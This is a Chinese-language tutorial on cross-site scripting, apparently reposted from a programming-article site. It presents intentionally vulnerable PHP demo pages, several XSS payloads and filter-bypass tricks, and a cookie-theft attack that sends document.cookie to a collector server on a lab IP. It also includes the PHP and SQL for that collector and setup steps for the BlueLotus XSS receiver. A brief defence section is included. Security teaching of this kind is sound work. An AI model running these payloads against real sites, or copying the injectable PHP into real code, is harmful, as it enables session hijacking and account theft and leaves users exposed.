XSS跨站攻击漏洞

2024-06-24 00:44
文章标签 xss 跨站 漏洞 攻击

本文主要是介绍XSS跨站攻击漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

XSS跨站攻击漏洞

一 概述

1 XSS概述

xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。

XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。

XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。

有两种途径

第一种 反射型

直接将js代码附在url中,把url发送给指定的用户。引诱其点击。

第二种 存储型

把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。

2 危害

1.页面挂马
2.获取用户的cookie
3.ddos攻击
4.钓鱼攻击
5.篡改数据
6.传播病毒

二 原理

1 反射型

(1)用户输入内容,直接显示在页面

php

<?php$content = $_GET["content"];echo "$content"
?>

payload

192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>

(2)将用户输入的内容,回显在标签对中

php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><div><?php$content = $_GET["content"];echo "$content"?></div>
</body>
</html>

payload

192.172.10.41/week3/demo1.php?content=hello

(3) 将用户的输入回显在标签属性中

php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><div><?php$content = $_GET["content"];?><input type="text" value="<?=$content;?>"></div>
</body>
</html>

payload

闭合标签,添加script标签
192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!--
添加事件
192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1)
嵌入网页
192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!--
添加页面元素
192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--

XSS常用测试语句

<script>alert(1)</script>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<input οnfοcus=write(1) autofocus>

2 存储型

将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。

php-add

<?phpinclude "utils/dbUtil.php";
​//1.接收用户输入$content = $_GET['content'];//2.sql$sql = "insert into week3_test values(default,'$content')";//3.执行sql$res = executeSql($sql);//判断结果if($res){echo "success";}else{echo "error";}
?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>

php-findById

<?phpinclude "utils/dbUtil.php";
​//1.接收用户输入$id = $_GET['id'];//2.sql$sql = "select * from week3_test where id=$id";//3.执行sql$res = queryOne($sql);//判断结果if($res){print_r($res);}else{echo "error";}
?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4

三 XSS获取Cookie

1 发送cookie

php

<?phpsession_start();$content = $_GET["content"];echo $content;
?>

注入代码

PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26
语法获取浏览器cookie值 document.cookie发送请求 <script>location.href=url</script><script>location.href="http://ip.php?cookie="%2bocument.cookie</script><script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>

2 准备C2服务器

搭建phpstudy环境
  • 安装phpstudy

image-20231206121704548

  • 打开软件,启动Apache和MySQL服务。

image-20231206121840758

  • 点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。

image-20231206121952513

  • 我们在这个文件里面创建一个简单的php文件。

image-20231206122521204

  • 打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名

image-20231206122554714

开发xss服务器端

CREATE TABLE `getcookie`  (`id` int(0) NOT NULL AUTO_INCREMENT,`url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`createtime` timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;

php

<?php$url = $_GET['url'];$cookie = $_GET['cookie'];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn = mysqli_connect("127.0.0.1",'root','root','part3'); //2.设置编码格式utf-8mysqli_query($conn,"set names utf8");//3.sql$sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";//4.执行sql$res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>

3 开始注入获取cookie

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>

image-20231206141921130

image-20231206141937194

四 BlueLotusXSS平台使用

一、安装

下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具

1 上传BlueLotus_XSSReceiver-master.zip到xampp

把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压
解压 unzip BlueLotus_XSSReceiver-master.zip

2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php

按照提示将config-sample.php改名为config.php 不要点安装

image-20231206153301495

3 配置目录权限

执行命令:chmod o+w data myjs template

image-20231206153652286

4 登录

登录地址  http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码  bluelotus

image-20231206153448053

5 进入首页

image-20211106210912883

二、定制XSS代码

1 生成payload

image-20231206155645113

生成Payload后,直接将其代码复制到XSS页面中即可

image-20231206155732151

2 在页面上注入代码

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

image-20231206155826294

接收到数据

image-20231206155903035

https://github.com/sqlsec/BlueLotus_XSSReceiver

五 XSS的防御和绕过

1 防御

(1) 前端校验 针对用户输入框进行js校验。

(2)通过函数对用户输入内容中的特殊符号进行转码.

htmpspcialchars(字符串,ENT_QUOTES);  ENT_QUOTES表示对单引号进行转码

(3)通过字符串替换:替换规则需要考虑各种覆盖。

str_replace()

2 绕过

(1)针对前端校验

在浏览器上禁用js
通过工具或者协议绕过前端。

(2)函数替换

1 可以使用实体转码&#x6A 
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过

六 XSS靶场实战

image-20231206171035727

这篇关于XSS跨站攻击漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1088731

相关文章

【漏洞复现】畅捷通T+ keyEdit.aspx SQL漏洞

0x01 产品简介 畅捷通 T+ 是一款灵动,智慧,时尚的基于互联网时代开发的管理软件,主要针对中小型工贸与商贸企业,尤其适合有异地多组织机构(多工厂,多仓库,多办事处,多经销商)的企业,涵盖了财务,业务,生产等领域的应用,产品应用功能包括: 采购管理、库存管理、销售管理、生产管理、分销管理、零售管理、往来管理、现金银行管理、总账、移动应用等,融入了社交化、移动化、电子商务、互联网信息订阅等元素

汽车网络安全 -- 漏洞该如何管理

目录 1.漏洞获取途径汇总 2.CAVD的漏洞管理规则简析 2.1 通用术语简介 2.2 漏洞评分指标 2.3.1 场景参数 2.3.2 威胁参数  2.3.3 影响参数 2.3 漏洞等级判定 ​3.小结 在汽车网络安全的时代背景下,作为一直从事车控类ECU基础软件开发的软件dog,一直在找切入点去了解车联网产品的各种网络安全知识。 特别是历史上各种汽车网络安全事件、

模拟木马程序自动运行:Linux下的隐蔽攻击技术

模拟木马程序自动运行:Linux下的隐蔽攻击技术 在网络安全领域,木马程序是一种常见的恶意软件,它能够悄无声息地在受害者的系统中建立后门,为攻击者提供远程访问权限。本文将探讨攻击者如何在Linux系统中模拟木马程序的自动运行,以及他们可能使用的技术手段。 木马自动运行的常见方法 攻击者通常会使用以下几种方法来确保木马在Linux系统中自动运行: 计划任务(Crontab): 攻击者可以通

DDos学习——CC攻击(一)

本文主要记录DDoS攻击中的CC攻击。CC攻击又可以分为代理CC攻击和肉鸡CC攻击。 (1)代理CC攻击是黑客借助代理服务器生成指向受害主机的合法网页请求,实现DDoS和伪装     (2)肉鸡CC攻击是黑客使用CC攻击软件,控制大量肉鸡,发动攻击,相比来后者比前者更难防御。因为肉鸡可以模拟正常用户访问网站的请求。伪造成合法数据包。     CC(challenge Collapsar,挑战

修复漏洞Windows 2012 Server R2(CVE-2016-2183)、(CVE-2015-2808)、(CVE-2013-2566)

修复漏洞 漏洞风险等级评定标准主机风险等级评定标准漏洞概括利用注册表修复漏洞查看修复后的漏洞 漏洞风险等级评定标准 危险程度危险值区域危险程度说明高7 <=漏洞风险值<= 10攻击者可以远程执行任意命令或者代码,或对系统进行远程拒绝服务攻击。中4 <=漏洞风险值< 7攻击者可以远程创建、修改、删除文件或数据,或对普通服务进行拒绝服务攻击。低0 <=漏洞风险值< 4攻击者可以获取

服务器防御ddos攻击

硬件层面: 1、高性能防火墙能有效过滤ddos攻击,可以有效的提高网络的抗攻击能力 2、使用流量清洗设备(或者ddos防护设备)可以过滤攻击流量,可以保护网站和服务器正常运行 软件层面: 1、 隐藏服务器真实IP 2、 隐藏源站 3、 增加源服务器防御性能 4、 配置IP黑名单(这种方法不太实用,不保证绝对,但凡你能查出的IP好多都是傀儡或者假IP,因为IP会自动变不是固定 的) 5、 把服务器没

Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四)

Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四) 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5.0.

Web渗透:文件上传漏洞

文件上传漏洞(File Upload Vulnerability)是网络安全中的一种常见漏洞,攻击者可以通过此漏洞将恶意文件上传到服务器,从而执行任意代码、覆盖重要文件、或进行其他恶意操作。这种漏洞可能带来严重的安全风险,包括数据泄露、系统入侵、甚至完全控制服务器。 文件上传漏洞的危害 ①代码执行:攻击者可以上传包含恶意代码的脚本文件,如PHP、ASP、JSP等,直接在服务器上执行。②文件

【网络安全的神秘世界】SQL注入漏洞

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 本章知识使用的靶场:DVWA 一、漏洞简介 SQL:结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言 SQL注入:简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未做任何校验或校验不严格,直接信任了用户输入,使得

【漏洞复现】AJ-Report开源数据大屏 verification;swagger-ui RCE漏洞

0x01 产品简介 AJ-Report是一个完全开源的B平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。多数据源支持,内置mysql、elasticsearch、kudu等多种驱动,支持自定义数据集省去数据接口开发,支持17+种大屏组件,不会开发,照着设计稿也可以制作大屏。三步轻松完成大屏设计:配置数据源–>写SQL配置数据集->拖拽配置大屏->保存发布。欢迎体验。 0x0